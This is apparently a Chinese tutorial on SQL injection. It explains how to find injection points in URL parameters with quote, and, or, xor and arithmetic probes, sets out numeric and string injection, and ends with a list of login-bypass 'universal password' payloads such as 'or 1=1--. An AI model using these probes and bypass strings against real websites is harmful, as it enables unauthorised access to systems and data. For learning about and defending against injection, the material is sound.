目录
SQL注入漏洞的类型
1.数字型判断
2.字符型判断
SQL注入--万能密码
SQL注入漏洞的类型
1.单引号判断
http://www.xxx.com/xxx.asp?id=10' 如果出现错误提示,则该网站可能就存在注入漏洞。
2.and判断
http://www.xxx.com/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页
http://www.xxx.com/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
3.Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
http://www.xxx.com/xxx.asp?id=10'or 1=1
http://www.xxx.com/xxx.asp?id=10'or 1=2
4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
http://www.xxx.com/xxx.asp?id=10'xor 1=1
http://www.xxx.com/xxx.asp?id=10'xor 1=2
5.加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
http://www.xxx.com/xxx.asp?id=10-0 http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1
and,or,xor等判断可以参考这三种逻辑运算的规律进行理解
sql注入漏洞通常为2种
- 数字型
- 字符型
1.数字型判断
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
- Url 地址中输入
http://xxx/abc.php?id= x and 1=1
- Url 地址中继续输入
http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
我们输入的是 x and 1=1 和x and 1=2
语句就是这样:
select* from …… where id=x and 1=1
select* from …… where id=x and 1=2
and左边的x是返回成功的,因为如果不存在后面也没法进行,而1=1是成立的,所以页面运行正常。如果是1=2,不成立,同时and语句的判断逻辑是只要有一个不成立,就返回失败,所以运行错误。
2.字符型判断
select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断。
这里就使上面的数字型变为了字符型
而语句则是
select * from <表名> where id = 'x' and ‘1’='1'
这时候sql已经闭合了
还是一样的,这里and的左边是一定成立的,而and右边也是一样的成立,所以and逻辑之后,整个语句返回成功
同理可知如果后面是1'='2
就会返回失败,而且这里不一定非要是1
或者2
,因为是字符型,所以我们可以输入任何字符,如a'='a,a'='b
SQL注入--万能密码
万能密码类似形式
“or"a”="a
')or(‘a’='a
")or(“a”="a
‘or 1=1–
“or 1=1–
'or”=’
'or 1=1%00
'or 1=1/
admin’ or 1=1/*